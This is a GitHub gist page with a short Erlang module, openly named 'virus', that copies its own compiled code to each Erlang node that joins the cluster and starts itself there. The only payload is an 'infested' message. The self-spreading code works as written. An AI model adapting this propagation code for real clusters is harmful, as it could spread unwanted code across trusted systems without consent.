public
Last active

A small module that jumps between connected nodes

  • Download Gist
virus.erl
Erlang
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
%% @doc A small module that jumps between connected nodes.
%% @author Gianfranco Alongi <gianfranco.alongi@gmail.com>
%% @author Adam Lindberg <hello@alind.io>
 
-module(virus).
-export([start/0]).
-export([start/1]).
 
start() -> spawn_process(code:get_object_code(?MODULE)).
start(Beam) -> spawn_process(Beam).
 
spawn_process(Beam) ->
case whereis(?MODULE) of
undefined -> spawn(fun() -> virus(Beam) end);
_Else -> ok
end.
 
virus(Beam) ->
register(?MODULE, self()),
net_kernel:monitor_nodes(true),
io:format(user, "You're infested!~n", []),
%[infest(Node) || Node <- nodes()],
virus_loop(Beam).
 
virus_loop(Beam) ->
receive
{nodeup, Node} ->
infest(Node, Beam),
io:format(user, "~p has joined!~n", [Node])
end,
virus_loop(Beam).
 
infest(Node, {Mod, Bin, File} = Beam) ->
{module, Mod} = rpc:call(Node, code, load_binary, [Mod, File, Bin]),
rpc:call(Node, ?MODULE, start, [Beam]).

Please sign in to comment on this gist.

Something went wrong with that request. Please try again.